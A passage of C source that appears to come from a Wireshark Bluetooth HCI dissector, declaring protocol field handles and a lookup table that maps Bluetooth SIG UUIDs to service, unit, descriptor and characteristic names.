static int hf_bthci_cmd_evt_mask_21 = -1;
static int hf_bthci_cmd_evt_mask_23 = -1;
static int hf_bthci_cmd_evt_mask_24 = -1;
static int hf_bthci_cmd_evt_mask_25 = -1;
static int hf_bthci_cmd_evt_mask_26 = -1;
static int hf_bthci_cmd_evt_mask_27 = -1;
static int hf_bthci_cmd_evt_mask_30 = -1;
static int hf_bthci_cmd_evt_mask_31 = -1;
static int hf_bthci_cmd_evt_mask_32 = -1;
static int hf_bthci_cmd_evt_mask_33 = -1;
static int hf_bthci_cmd_evt_mask_34 = -1;
static int hf_bthci_cmd_evt_mask_35 = -1;
static int hf_bthci_cmd_evt_mask_36 = -1;
static int hf_bthci_cmd_evt_mask_37 = -1;
static int hf_bthci_cmd_evt_mask_40 = -1;
static int hf_bthci_cmd_evt_mask_41 = -1;
static int hf_bthci_cmd_evt_mask_42 = -1;
static int hf_bthci_cmd_evt_mask_53 = -1;
static int hf_bthci_cmd_evt_mask_54 = -1;
static int hf_bthci_cmd_evt_mask_55 = -1;
static int hf_bthci_cmd_evt_mask_56 = -1;
static int hf_bthci_cmd_evt_mask_57 = -1;
static int hf_bthci_cmd_evt_mask_60 = -1;
static int hf_bthci_cmd_evt_mask_61 = -1;
static int hf_bthci_cmd_evt_mask_62 = -1;
static int hf_bthci_cmd_evt_mask_63 = -1;
static int hf_bthci_cmd_evt_mask_64 = -1;
static int hf_bthci_cmd_evt_mask_65 = -1;
static int hf_bthci_cmd_evt_mask_67 = -1;
static int hf_bthci_cmd_evt_mask_70 = -1;
static int hf_bthci_cmd_evt_mask_72 = -1;
static int hf_bthci_cmd_evt_mask_73 = -1;
static int hf_bthci_cmd_sco_flow_control = -1;
static int hf_bthci_cmd_num_handles = -1;
static int hf_bthci_cmd_num_compl_packets = -1;
static int hf_bthci_cmd_flow_contr_enable = -1;
static int hf_bthci_cmd_host_data_packet_length_acl = -1;
static int hf_bthci_cmd_host_data_packet_length_sco = -1;
static int hf_bthci_cmd_host_total_num_acl_data_packets = -1;
static int hf_bthci_cmd_host_total_num_sco_data_packets = -1;
static int hf_bthci_cmd_loopback_mode = -1;
static int hf_bthci_cmd_page_number = -1;
static int hf_bthci_cmd_transmit_bandwidth = -1;
static int hf_bthci_cmd_receive_bandwidth = -1;
static int hf_bthci_cmd_max_latency_ms = -1;
static int hf_bthci_cmd_max_latency = -1;
static int hf_bthci_cmd_retransmission_effort = -1;
static int hf_bthci_cmd_scan_type = -1;
static int hf_bthci_cmd_inq_mode = -1;
static int hf_bthci_cmd_fec_required = -1;
static int hf_bthci_cmd_err_data_reporting = -1;
static int hf_bthci_cmd_tx_power = -1;
static int hf_bthci_cmd_sco_packet_type_hv1 = -1;
static int hf_bthci_cmd_sco_packet_type_hv2 = -1;
static int hf_bthci_cmd_sco_packet_type_hv3 = -1;
static int hf_bthci_cmd_sco_packet_type_ev3 = -1;
static int hf_bthci_cmd_sco_packet_type_ev4 = -1;
static int hf_bthci_cmd_sco_packet_type_ev5 = -1;
static int hf_bthci_cmd_sco_packet_type_2ev3 = -1;
static int hf_bthci_cmd_sco_packet_type_3ev3 = -1;
static int hf_bthci_cmd_sco_packet_type_2ev5 = -1;
static int hf_bthci_cmd_sco_packet_type_3ev5 = -1;
static int hf_bthci_cmd_min_remote_timeout = -1;
static int hf_bthci_cmd_min_local_timeout = -1;
static int hf_bthci_cmd_flush_packet_type = -1;
static int hf_bthci_cmd_afh_ch_assessment_mode = -1;
static int hf_bthci_cmd_afh_ch_classification = -1;
static int hf_bthci_cmd_which_clock = -1;
static int hf_bthci_cmd_io_capability = -1;
static int hf_bthci_cmd_oob_data_present = -1;
static int hf_bthci_cmd_auth_requirements = -1;
static int hf_bthci_cmd_passkey = -1;
static int hf_bthci_cmd_randomizer_r = -1;
static int hf_bthci_cmd_hash_c = -1;
static int hf_bthci_cmd_simple_pairing_mode = -1;
static int hf_bthci_cmd_simple_pairing_debug_mode = -1;
static int hf_bthci_cmd_notification_type = -1;
static int hf_bthci_cmd_physical_link_handle = -1;
static int hf_bthci_cmd_dedicated_amp_key_length = -1;
static int hf_bthci_cmd_dedicated_amp_key_type = -1;
static int hf_bthci_cmd_dedicated_amp_key = -1;
static int hf_bthci_cmd_flow_spec = -1;
static int hf_bthci_cmd_flow_spec_identifier = -1;
static int hf_bthci_cmd_flow_spec_service_type = -1;
static int hf_bthci_cmd_flow_spec_sdu_size = -1;
static int hf_bthci_cmd_flow_spec_sdu_arrival_time = -1;
static int hf_bthci_cmd_flow_spec_access_latency = -1;
static int hf_bthci_cmd_flush_to_us = -1;
static int hf_bthci_cmd_logical_link_handle = -1;
static int hf_bthci_cmd_evt_mask2_00 = -1;
static int hf_bthci_cmd_evt_mask2_01 = -1;
static int hf_bthci_cmd_evt_mask2_02 = -1;
static int hf_bthci_cmd_evt_mask2_03 = -1;
static int hf_bthci_cmd_evt_mask2_04 = -1;
static int hf_bthci_cmd_evt_mask2_05 = -1;
static int hf_bthci_cmd_evt_mask2_06 = -1;
static int hf_bthci_cmd_evt_mask2_07 = -1;
static int hf_bthci_cmd_evt_mask2_10 = -1;
static int hf_bthci_cmd_evt_mask2_11 = -1;
static int hf_bthci_cmd_evt_mask2_12 = -1;
static int hf_bthci_cmd_evt_mask2_13 = -1;
static int hf_bthci_cmd_evt_mask2_14 = -1;
static int hf_bthci_cmd_evt_mask2_15 = -1;
static int hf_bthci_cmd_location_domain_aware = -1;
static int hf_bthci_cmd_location_domain = -1;
static int hf_bthci_cmd_location_domain_options = -1;
static int hf_bthci_cmd_location_options = -1;
static int hf_bthci_cmd_flow_control_mode = -1;
static int hf_bthci_cmd_tx_power_level_type = -1;
static int hf_bthci_cmd_short_range_mode = -1;
static int hf_bthci_cmd_le_supported_host = -1;
static int hf_bthci_cmd_le_simultaneous_host = -1;
static int hf_bthci_cmd_enable_amp_recv_reports = -1;
static int hf_bthci_cmd_amp_recv_report_interval = -1;
static int hf_bthci_cmd_length_so_far = -1;
static int hf_bthci_cmd_amp_assoc_length = -1;
static int hf_bthci_cmd_amp_remaining_assoc_length = -1;
static int hf_bthci_cmd_amp_assoc_fragment = -1;
static int hf_bthci_cmd_le_evt_mask_00 = -1;
static int hf_bthci_cmd_le_evt_mask_01 = -1;
static int hf_bthci_cmd_le_evt_mask_02 = -1;
static int hf_bthci_cmd_le_evt_mask_03 = -1;
static int hf_bthci_cmd_le_evt_mask_04 = -1;
static int hf_bthci_cmd_le_advts_interval_min = -1;
static int hf_bthci_cmd_le_advts_interval_max = -1;
static int hf_bthci_cmd_le_advts_type = -1;
static int hf_bthci_cmd_le_own_address_type = -1;
static int hf_bthci_cmd_le_direct_address_type = -1;
static int hf_bthci_cmd_le_advts_channel_map_1 = -1;
static int hf_bthci_cmd_le_advts_channel_map_2 = -1;
static int hf_bthci_cmd_le_advts_channel_map_3 = -1;
static int hf_bthci_cmd_le_advts_filter_policy = -1;
static int hf_bthci_cmd_le_data_length = -1;
static int hf_bthci_cmd_le_advts_enable = -1;
static int hf_bthci_cmd_le_scan_enable = -1;
static int hf_bthci_cmd_le_filter_dublicates = -1;
static int hf_bthci_cmd_le_scan_type = -1;
static int hf_bthci_cmd_le_scan_interval = -1;
static int hf_bthci_cmd_le_scan_window = -1;
static int hf_bthci_cmd_le_scan_filter_policy = -1;
static int hf_bthci_cmd_le_initiator_filter_policy = -1;
static int hf_bthci_cmd_le_peer_address_type = -1;
static int hf_bthci_cmd_le_con_interval_min = -1;
static int hf_bthci_cmd_le_con_interval_max = -1;
static int hf_bthci_cmd_le_con_latency = -1;
static int hf_bthci_cmd_le_supervision_timeout = -1;
static int hf_bthci_cmd_le_min_ce_length = -1;
static int hf_bthci_cmd_le_max_ce_length = -1;
static int hf_bthci_cmd_le_address_type = -1;
static int hf_bthci_cmd_le_channel_map = -1;
static int hf_bthci_cmd_key = -1;
static int hf_bthci_cmd_plaintext_data = -1;
static int hf_bthci_cmd_random_number = -1;
static int hf_bthci_cmd_encrypted_diversifier = -1;
static int hf_bthci_cmd_le_long_term_key = -1;
static int hf_bthci_cmd_rx_freqency = -1;
static int hf_bthci_cmd_tx_freqency = -1;
static int hf_bthci_cmd_test_data_length = -1;
static int hf_bthci_cmd_test_packet_payload = -1;
static int hf_bthci_cmd_parameter = -1;
static expert_field ei_command_undecoded = EI_INIT;
static expert_field ei_command_unknown = EI_INIT;
static expert_field ei_command_parameter_unexpected = EI_INIT;
static dissector_table_t vendor_dissector_table;
/* Initialize the subtree pointers */
static gint ett_bthci_cmd = -1;
static gint ett_opcode = -1;
static gint ett_cod_mask = -1;
static gint ett_flow_spec_subtree = -1;
static gint ett_le_channel_map = -1;
static gint proto_btcommon = -1;
static gint hf_btcommon_eir_ad_entry = -1;
static gint hf_btcommon_eir_ad_advertising_data = -1;
static gint hf_btcommon_eir_ad_extended_inquiry_response_data = -1;
static gint hf_btcommon_eir_ad_unused = -1;
static gint hf_btcommon_eir_ad_data = -1;
static gint hf_btcommon_eir_ad_length = -1;
static gint hf_btcommon_eir_ad_type = -1;
static gint hf_btcommon_eir_ad_company_id = -1;
static gint hf_btcommon_eir_ad_flags_reserved = -1;
static gint hf_btcommon_eir_ad_flags_le_bredr_support_host = -1;
static gint hf_btcommon_eir_ad_flags_le_bredr_support_controller = -1;
static gint hf_btcommon_eir_ad_flags_bredr_not_support = -1;
static gint hf_btcommon_eir_ad_flags_le_general_discoverable_mode = -1;
static gint hf_btcommon_eir_ad_flags_le_limited_discoverable_mode = -1;
static gint hf_btcommon_eir_ad_uuid_16 = -1;
static gint hf_btcommon_eir_ad_uuid_32 = -1;
static gint hf_btcommon_eir_ad_uuid_128 = -1;
static gint hf_btcommon_eir_ad_custom_uuid = -1;
static gint hf_btcommon_eir_ad_name = -1;
static gint hf_btcommon_eir_ad_tx_power = -1;
static gint hf_btcommon_eir_ad_ssp_oob_length = -1;
static gint hf_btcommon_eir_ad_bd_addr = -1;
static gint hf_btcommon_eir_ad_le_bd_addr_reserved = -1;
static gint hf_btcommon_eir_ad_le_bd_addr_type = -1;
static gint hf_btcommon_eir_ad_le_role = -1;
static gint hf_btcommon_eir_ad_did_vendor_id = -1;
static gint hf_btcommon_eir_ad_did_vendor_id_bluetooth_sig = -1;
static gint hf_btcommon_eir_ad_did_vendor_id_usb_forum = -1;
static gint hf_btcommon_eir_ad_did_product_id = -1;
static gint hf_btcommon_eir_ad_did_version = -1;
static gint hf_btcommon_eir_ad_did_vendor_id_source = -1;
static gint hf_btcommon_eir_ad_3ds_association_notification = -1;
static gint hf_btcommon_eir_ad_3ds_battery_level_reporting = -1;
static gint hf_btcommon_eir_ad_3ds_send_battery_level_report_on_startup = -1;
static gint hf_btcommon_eir_ad_3ds_reserved = -1;
static gint hf_btcommon_eir_ad_3ds_factory_test_mode = -1;
static gint hf_btcommon_eir_ad_3ds_path_loss_threshold = -1;
static gint hf_btcommon_eir_ad_3ds_legacy_fixed = -1;
static gint hf_btcommon_eir_ad_3ds_legacy_3d_capable_tv = -1;
static gint hf_btcommon_eir_ad_3ds_legacy_ignored_1_3 = -1;
static gint hf_btcommon_eir_ad_3ds_legacy_fixed_4 = -1;
static gint hf_btcommon_eir_ad_3ds_legacy_ignored_5 = -1;
static gint hf_btcommon_eir_ad_3ds_legacy_fixed_6 = -1;
static gint hf_btcommon_eir_ad_3ds_legacy_test_mode = -1;
static gint hf_btcommon_eir_ad_3ds_legacy_path_loss_threshold = -1;
static gint hf_btcommon_eir_ad_advertising_interval = -1;
static gint hf_btcommon_eir_ad_appearance = -1;
static gint hf_btcommon_eir_ad_hash_c = -1;
static gint hf_btcommon_eir_ad_randomizer_r = -1;
static gint hf_btcommon_eir_ad_oob_flags_data_present = -1;
static gint hf_btcommon_eir_ad_oob_flags_le_supported_host = -1;
static gint hf_btcommon_eir_ad_oob_flags_le_bredr_support = -1;
static gint hf_btcommon_eir_ad_oob_flags_address_type = -1;
static gint hf_btcommon_eir_ad_oob_flags_reserved = -1;
static gint hf_btcommon_eir_ad_connection_interval_min = -1;
static gint hf_btcommon_eir_ad_connection_interval_max = -1;
static gint hf_btcommon_cod_class_of_device = -1;
static gint hf_btcommon_cod_format_type = -1;
static gint hf_btcommon_cod_major_service_class_information = -1;
static gint hf_btcommon_cod_major_service_class_telephony = -1;
static gint hf_btcommon_cod_major_service_class_audio = -1;
static gint hf_btcommon_cod_major_service_class_object_transfer = -1;
static gint hf_btcommon_cod_major_service_class_capturing = -1;
static gint hf_btcommon_cod_major_service_class_rendering = -1;
static gint hf_btcommon_cod_major_service_class_networking = -1;
static gint hf_btcommon_cod_major_service_class_positioning = -1;
static gint hf_btcommon_cod_major_service_class_reserved = -1;
static gint hf_btcommon_cod_major_service_class_limited_discoverable_mode = -1;
static gint hf_btcommon_cod_major_device_class = -1;
static gint hf_btcommon_cod_minor_device_class_computer = -1;
static gint hf_btcommon_cod_minor_device_class_phone = -1;
static gint hf_btcommon_cod_minor_device_class_lan_net_load_factor = -1;
static gint hf_btcommon_cod_minor_device_class_lan_net_type = -1;
static gint hf_btcommon_cod_minor_device_class_audio_video = -1;
static gint hf_btcommon_cod_minor_device_class_peripheral_class = -1;
static gint hf_btcommon_cod_minor_device_class_peripheral_type = -1;
static gint hf_btcommon_cod_minor_device_class_imaging_class_printer = -1;
static gint hf_btcommon_cod_minor_device_class_imaging_class_scanner = -1;
static gint hf_btcommon_cod_minor_device_class_imaging_class_camera = -1;
static gint hf_btcommon_cod_minor_device_class_imaging_class_display = -1;
static gint hf_btcommon_cod_minor_device_class_imaging_type = -1;
static gint hf_btcommon_cod_minor_device_class_wearable = -1;
static gint hf_btcommon_cod_minor_device_class_toy = -1;
static gint hf_btcommon_cod_minor_device_class_health = -1;
static gint hf_btcommon_cod_minor_device_class_unknown = -1;
static gint hf_btcommon_le_channel_map_0 = -1;
static gint hf_btcommon_le_channel_map_1 = -1;
static gint hf_btcommon_le_channel_map_2 = -1;
static gint hf_btcommon_le_channel_map_3 = -1;
static gint hf_btcommon_le_channel_map_4 = -1;
static gint hf_btcommon_le_channel_map_5 = -1;
static gint hf_btcommon_le_channel_map_6 = -1;
static gint hf_btcommon_le_channel_map_7 = -1;
static gint hf_btcommon_le_channel_map_8 = -1;
static gint hf_btcommon_le_channel_map_9 = -1;
static gint hf_btcommon_le_channel_map_10 = -1;
static gint hf_btcommon_le_channel_map_11 = -1;
static gint hf_btcommon_le_channel_map_12 = -1;
static gint hf_btcommon_le_channel_map_13 = -1;
static gint hf_btcommon_le_channel_map_14 = -1;
static gint hf_btcommon_le_channel_map_15 = -1;
static gint hf_btcommon_le_channel_map_16 = -1;
static gint hf_btcommon_le_channel_map_17 = -1;
static gint hf_btcommon_le_channel_map_18 = -1;
static gint hf_btcommon_le_channel_map_19 = -1;
static gint hf_btcommon_le_channel_map_20 = -1;
static gint hf_btcommon_le_channel_map_21 = -1;
static gint hf_btcommon_le_channel_map_22 = -1;
static gint hf_btcommon_le_channel_map_23 = -1;
static gint hf_btcommon_le_channel_map_24 = -1;
static gint hf_btcommon_le_channel_map_25 = -1;
static gint hf_btcommon_le_channel_map_26 = -1;
static gint hf_btcommon_le_channel_map_27 = -1;
static gint hf_btcommon_le_channel_map_28 = -1;
static gint hf_btcommon_le_channel_map_29 = -1;
static gint hf_btcommon_le_channel_map_30 = -1;
static gint hf_btcommon_le_channel_map_31 = -1;
static gint hf_btcommon_le_channel_map_32 = -1;
static gint hf_btcommon_le_channel_map_33 = -1;
static gint hf_btcommon_le_channel_map_34 = -1;
static gint hf_btcommon_le_channel_map_35 = -1;
static gint hf_btcommon_le_channel_map_36 = -1;
static gint hf_btcommon_le_channel_map_37 = -1;
static gint hf_btcommon_le_channel_map_38 = -1;
static gint hf_btcommon_le_channel_map_39 = -1;
static gint ett_cod = -1;
static gint ett_eir_ad = -1;
static gint ett_eir_ad_entry = -1;
static expert_field ei_eir_ad_undecoded = EI_INIT;
static expert_field ei_eir_ad_unknown = EI_INIT;
static dissector_handle_t btcommon_cod_handle;
static dissector_handle_t btcommon_eir_handle;
static dissector_handle_t btcommon_ad_handle;
static dissector_handle_t btcommon_le_channel_map_handle;
static dissector_handle_t bthci_cmd_handle;
extern value_string_ext ext_usb_vendors_vals;
extern value_string_ext ext_usb_products_vals;
extern value_string_ext did_vendor_id_source_vals_ext;
static const value_string bt_sig_uuid_vals[] = {
/* Protocol Identifiers - https://www.bluetooth.org/en-us/specification/assigned-numbers/service-discovery */
{ 0x0001, "SDP" },
{ 0x0002, "UDP" },
{ 0x0003, "RFCOMM" },
{ 0x0004, "TCP" },
{ 0x0005, "TCS-BIN" },
{ 0x0006, "TCS-AT" },
{ 0x0007, "ATT" },
{ 0x0008, "OBEX" },
{ 0x0009, "IP" },
{ 0x000A, "FTP" },
{ 0x000C, "HTTP" },
{ 0x000E, "WSP" },
{ 0x000F, "BNEP" },
{ 0x0010, "UPNP" },
{ 0x0011, "HIDP" },
{ 0x0012, "Hardcopy Control Channel" },
{ 0x0014, "Hardcopy Data Channel" },
{ 0x0016, "Hardcopy Notification" },
{ 0x0017, "AVCTP" },
{ 0x0019, "AVDTP" },
{ 0x001B, "CMPT" },
{ 0x001D, "UDI C-Plane" }, /* unofficial */
{ 0x001E, "MCAP Control Channel" },
{ 0x001F, "MCAP Data Channel" },
{ 0x0100, "L2CAP" },
/* Traditional Services - https://www.bluetooth.org/en-us/specification/assigned-numbers/service-discovery */
{ 0x1000, "Service Discovery Server Service Class ID" },
{ 0x1001, "Browse Group Descriptor Service Class ID" },
{ 0x1002, "Public Browse Group" },
{ 0x1101, "Serial Port" },
{ 0x1102, "LAN Access Using PPP" },
{ 0x1103, "Dialup Networking" },
{ 0x1104, "IrMC Sync" },
{ 0x1105, "OBEX Object Push" },
{ 0x1106, "OBEX File Transfer" },
{ 0x1107, "IrMC Sync Command" },
{ 0x1108, "Headset" },
{ 0x1109, "Cordless Telephony" },
{ 0x110A, "Audio Source" },
{ 0x110B, "Audio Sink" },
{ 0x110C, "A/V Remote Control Target" },
{ 0x110D, "Advanced Audio Distribution" },
{ 0x110E, "A/V Remote Control" },
{ 0x110F, "A/V Remote Control Controller" },
{ 0x1110, "Intercom" },
{ 0x1111, "Fax" },
{ 0x1112, "Headset Audio Gateway" },
{ 0x1113, "WAP" },
{ 0x1114, "WAP Client" },
{ 0x1115, "PANU" },
{ 0x1116, "NAP" },
{ 0x1117, "GN" },
{ 0x1118, "Direct Printing" },
{ 0x1119, "Reference Printing" },
{ 0x111A, "Imaging" },
{ 0x111B, "Imaging Responder" },
{ 0x111C, "Imaging Automatic Archive" },
{ 0x111D, "Imaging Referenced Objects" },
{ 0x111E, "Handsfree" },
{ 0x111F, "Handsfree Audio Gateway" },
{ 0x1120, "Direct Printing Reference Objects Service" },
{ 0x1121, "Reflected UI" },
{ 0x1122, "Basic Printing" },
{ 0x1123, "Printing Status" },
{ 0x1124, "Human Interface Device Service" },
{ 0x1125, "Hardcopy Cable Replacement" },
{ 0x1126, "HCR Print" },
{ 0x1127, "HCR Scan" },
{ 0x1128, "Common ISDN Access" },
{ 0x1129, "Video Conferencing GW" },
{ 0x112A, "UDI MT" },
{ 0x112B, "UDI TA" },
{ 0x112C, "Audio/Video" },
{ 0x112D, "SIM Access" },
{ 0x112E, "Phonebook Access Client" },
{ 0x112F, "Phonebook Access Server" },
{ 0x1130, "Phonebook Access Profile" },
{ 0x1131, "Headset HS" },
{ 0x1132, "Message Access Server" },
{ 0x1133, "Message Notification Server" },
{ 0x1134, "Message Access Profile" },
{ 0x1135, "Global Navigation Satellite System" },
{ 0x1136, "Global Navigation Satellite System Server" },
{ 0x1137, "3D Display" },
{ 0x1138, "3D Glasses" },
{ 0x1139, "3D Synchronization Profile" },
{ 0x113A, "Multi-Profile" },
{ 0x113B, "Multi-Profile SC" },
{ 0x1200, "PnP Information" },
{ 0x1201, "Generic Networking" },
{ 0x1202, "Generic File Transfer" },
{ 0x1203, "Generic Audio" },
{ 0x1204, "Generic Telephony" },
{ 0x1205, "UPNP Service" },
{ 0x1206, "UPNP IP Service" },
{ 0x1300, "ESDP UPNP_IP PAN" },
{ 0x1301, "ESDP UPNP IP LAP" },
{ 0x1302, "ESDP UPNP L2CAP" },
{ 0x1303, "Video Source" },
{ 0x1304, "Video Sink" },
{ 0x1305, "Video Distribution" },
{ 0x1400, "Health Device Profile" },
{ 0x1401, "Health Device Source" },
{ 0x1402, "Health Device Sink" },
/* LE Services - https://developer.bluetooth.org/gatt/services/Pages/ServicesHome.aspx */
{ 0x1800, "Generic Access Profile" },
{ 0x1801, "Generic Attribute Profile" },
{ 0x1802, "Immediate Alert" },
{ 0x1803, "Link Loss" },
{ 0x1804, "Tx Power" },
{ 0x1805, "Current Time Service" },
{ 0x1806, "Reference Time Update Service" },
{ 0x1807, "Next DST Change Service" },
{ 0x1808, "Glucose" },
{ 0x1809, "Health Thermometer" },
{ 0x180A, "Device Information" },
{ 0x180D, "Heart Rate" },
{ 0x180E, "Phone Alert Status Service" },
{ 0x180F, "Battery Service" },
{ 0x1810, "Blood Pressure" },
{ 0x1811, "Alert Notification Service" },
{ 0x1812, "Human Interface Device" },
{ 0x1813, "Scan Parameters" },
{ 0x1814, "Running Speed and Cadence" },
{ 0x1816, "Cycling Speed and Cadence" },
{ 0x1818, "Cycling Power" },
{ 0x1819, "Location and Navigation" },
/* Units - http://developer.bluetooth.org/gatt/declarations/Pages/DeclarationsHome.aspx */
{ 0x2700, "unitless" },
{ 0x2701, "length (metre)" },
{ 0x2702, "mass (kilogram)" },
{ 0x2703, "time (second)" },
{ 0x2704, "electric current (ampere)" },
{ 0x2705, "thermodynamic temperature (kelvin)" },
{ 0x2706, "amount of substance (mole)" },
{ 0x2707, "luminous intensity (candela)" },
{ 0x2710, "area (square metres)" },
{ 0x2711, "volume (cubic metres)" },
{ 0x2712, "velocity (metres per second)" },
{ 0x2713, "acceleration (metres per second squared)" },
{ 0x2714, "wavenumber (reciprocal metre)" },
{ 0x2715, "density (kilogram per cubic metre)" },
{ 0x2716, "surface density (kilogram per square metre)" },
{ 0x2717, "specific volume (cubic metre per kilogram)" },
{ 0x2718, "current density (ampere per square metre)" },
{ 0x2719, "magnetic field strength (ampere per metre)" },
{ 0x271A, "amount concentration (mole per cubic metre)" },
{ 0x271B, "mass concentration (kilogram per cubic metre)" },
{ 0x271C, "luminance (candela per square metre)" },
{ 0x271D, "refractive index" },
{ 0x271E, "relative permeability" },
{ 0x2720, "plane angle (radian)" },
{ 0x2721, "solid angle (steradian)" },
{ 0x2722, "frequency (hertz)" },
{ 0x2723, "force (newton)" },
{ 0x2724, "pressure (pascal)" },
{ 0x2725, "energy (joule)" },
{ 0x2726, "power (watt)" },
{ 0x2727, "electric charge (coulomb)" },
{ 0x2728, "electric potential difference (volt)" },
{ 0x2729, "capacitance (farad)" },
{ 0x272A, "electric resistance (ohm)" },
{ 0x272B, "electric conductance (siemens)" },
{ 0x272C, "magnetic flex (weber)" },
{ 0x272D, "magnetic flex density (tesla)" },
{ 0x272E, "inductance (henry)" },
{ 0x272F, "Celsius temperature (degree Celsius)" },
{ 0x2730, "luminous flux (lumen)" },
{ 0x2731, "illuminance (lux)" },
{ 0x2732, "activity referred to a radionuclide (becquerel)" },
{ 0x2733, "absorbed dose (gray)" },
{ 0x2734, "dose equivalent (sievert)" },
{ 0x2735, "catalytic activity (katal)" },
{ 0x2740, "dynamic viscosity (pascal second)" },
{ 0x2741, "moment of force (newton metre)" },
{ 0x2742, "surface tension (newton per metre)" },
{ 0x2743, "angular velocity (radian per second)" },
{ 0x2744, "angular acceleration (radian per second squared)" },
{ 0x2745, "heat flux density (watt per square metre)" },
{ 0x2746, "heat capacity (joule per kelvin)" },
{ 0x2747, "specific heat capacity (joule per kilogram kelvin)" },
{ 0x2748, "specific energy (joule per kilogram)" },
{ 0x2749, "thermal conductivity (watt per metre kelvin)" },
{ 0x274A, "energy density (joule per cubic metre)" },
{ 0x274B, "electric field strength (volt per metre)" },
{ 0x274C, "electric charge density (coulomb per cubic metre)" },
{ 0x274D, "surface charge density (coulomb per square metre)" },
{ 0x274E, "electric flux density (coulomb per square metre)" },
{ 0x274F, "permittivity (farad per metre)" },
{ 0x2750, "permeability (henry per metre)" },
{ 0x2751, "molar energy (joule per mole)" },
{ 0x2752, "molar entropy (joule per mole kelvin)" },
{ 0x2753, "exposure (coulomb per kilogram)" },
{ 0x2754, "absorbed dose rate (gray per second)" },
{ 0x2755, "radiant intensity (watt per steradian)" },
{ 0x2756, "radiance (watt per square metre steradian)" },
{ 0x2757, "catalytic activity concentration (katal per cubic metre)" },
{ 0x2760, "time (minute)" },
{ 0x2761, "time (hour)" },
{ 0x2762, "time (day)" },
{ 0x2763, "plane angle (degree)" },
{ 0x2764, "plane angle (minute)" },
{ 0x2765, "plane angle (second)" },
{ 0x2766, "area (hectare)" },
{ 0x2767, "volume (litre)" },
{ 0x2768, "mass (tonne)" },
{ 0x2780, "pressure (bar)" },
{ 0x2781, "pressure (millimetre of mercury)" },
{ 0x2782, "length (angstrom)" },
{ 0x2783, "length (nautical mile)" },
{ 0x2784, "area (barn)" },
{ 0x2785, "velocity (knot)" },
{ 0x2786, "logarithmic radio quantity (neper)" },
{ 0x2787, "logarithmic radio quantity (bel)" },
{ 0x27A0, "length (yard)" },
{ 0x27A1, "length (parsec)" },
{ 0x27A2, "length (inch)" },
{ 0x27A3, "length (foot)" },
{ 0x27A4, "length (mile)" },
{ 0x27A5, "pressure (pound-force per square inch)" },
{ 0x27A6, "velocity (kilometre per hour)" },
{ 0x27A7, "velocity (mile per hour)" },
{ 0x27A8, "angular velocity (revolution per minute)" },
{ 0x27A9, "energy (gram calorie)" },
{ 0x27AA, "energy (kilogram calorie)" },
{ 0x27AB, "energy (kilowatt hour)" },
{ 0x27AC, "thermodynamic temperature (degree Fahrenheit)" },
{ 0x27AD, "percentage" },
{ 0x27AE, "per mille" },
{ 0x27AF, "period (beats per minute)" },
{ 0x27B0, "electric charge (ampere hours)" },
{ 0x27B1, "mass density (milligram per decilitre)" },
{ 0x27B2, "mass density (millimole per litre)" },
{ 0x27B3, "time (year)" },
{ 0x27B4, "time (month)" },
{ 0x27B5, "concentration (count per cubic metre)" },
{ 0x27B6, "irradiance (watt per square metre)" },
{ 0x27B7, "milliliter (per kilogram per minute)" },
{ 0x27B8, "mass (pound)" },
/* Declarations - http://developer.bluetooth.org/gatt/declarations/Pages/DeclarationsHome.aspx */
{ 0x2800, "GATT Primary Service Declaration" },
{ 0x2801, "GATT Secondary Service Declaration" },
{ 0x2802, "GATT Include Declaration" },
{ 0x2803, "GATT Characteristic Declaration" },
/* Descriptors - http://developer.bluetooth.org/gatt/descriptors/Pages/DescriptorsHomePage.aspx */
{ 0x2900, "Characteristic Extended Properties" },
{ 0x2901, "Characteristic User Description" },
{ 0x2902, "Client Characteristic Configuration" },
{ 0x2903, "Server Characteristic Configuration" },
{ 0x2904, "Characteristic Presentation Format" },
{ 0x2905, "Characteristic Aggregate Format" },
{ 0x2906, "Valid Range" },
{ 0x2907, "External Report Reference" },
{ 0x2908, "Report Reference" },
/* Characteristics - http://developer.bluetooth.org/gatt/characteristics/Pages/CharacteristicsHome.aspx */
{ 0x2A00, "Device Name" },
{ 0x2A01, "Appearance" },
{ 0x2A02, "Peripheral Privacy Flag" },
{ 0x2A03, "Reconnection Address" },
{ 0x2A04, "Peripheral Preferred Connection Parameters" },
{ 0x2A05, "Service Changed" },
{ 0x2A06, "Alert Level" },
{ 0x2A07, "Tx Power Level" },
{ 0x2A08, "Date Time" },
{ 0x2A09, "Day of Week" },
{ 0x2A0A, "Day Date Time" },
{ 0x2A0C, "Exact Time 256" },
{ 0x2A0D, "DST Offset" },
{ 0x2A0E, "Time Zone" },
{ 0x2A0F, "Local Time Information" },
{ 0x2A11, "Time with DST" },
{ 0x2A12, "Time Accuracy" },
{ 0x2A13, "Time Source" },
{ 0x2A14, "Reference Time Information" },
{ 0x2A16, "Time Update Control Point" },
{ 0x2A17, "Time Update State" },
{ 0x2A18, "Glucose Measurement" },
{ 0x2A19, "Battery Level" },
{ 0x2A1C, "Temperature Measurement" },
{ 0x2A1D, "Temperature Type" },
{ 0x2A1E, "Intermediate Temperature" },
{ 0x2A21, "Measurement Interval" },
{ 0x2A22, "Boot Keyboard Input Report" },
{ 0x2A23, "System ID" },
{ 0x2A24, "Model Number String" },
{ 0x2A25, "Serial Number String" },
{ 0x2A26, "Firmware Revision String" },
{ 0x2A27, "Hardware Revision String" },
{ 0x2A28, "Software Revision String" },
{ 0x2A29, "Manufacturer Name String" },
{ 0x2A2A, "IEEE 11073-20601 Regulatory Certification Data List" },
{ 0x2A2B, "Current Time" },
{ 0x2A31, "Scan Refresh" },
{ 0x2A32, "Boot Keyboard Output Report" },
{ 0x2A33, "Boot Mouse Input Report" },
{ 0x2A34, "Glucose Measurement Context" },
{ 0x2A35, "Blood Pressure Measurement" },
{ 0x2A36, "Intermediate Cuff Pressure" },
{ 0x2A37, "Heart Rate Measurement" },
{ 0x2A38, "Body Sensor Location" },
{ 0x2A39, "Heart Rate Control Point" },
{ 0x2A3F, "Alert Status" },
{ 0x2A40, "Ringer Control Point" },
{ 0x2A41, "Ringer Setting" },
{ 0x2A42, "Alert Category ID Bit Mask" },
{ 0x2A43, "Alert Category ID" },
{ 0x2A44, "Alert Notification Control Point" },
{ 0x2A45, "Unread Alert Status" },
{ 0x2A46, "New Alert" },
{ 0x2A47, "Supported New Alert Category" },
{ 0x2A48, "Supported Unread Alert Category" },
{ 0x2A49, "Blood Pressure Feature" },
{ 0x2A4A, "HID Information" },
{ 0x2A4B, "Report Map" },
{ 0x2A4C, "HID Control Point" },
{ 0x2A4D, "Report" },
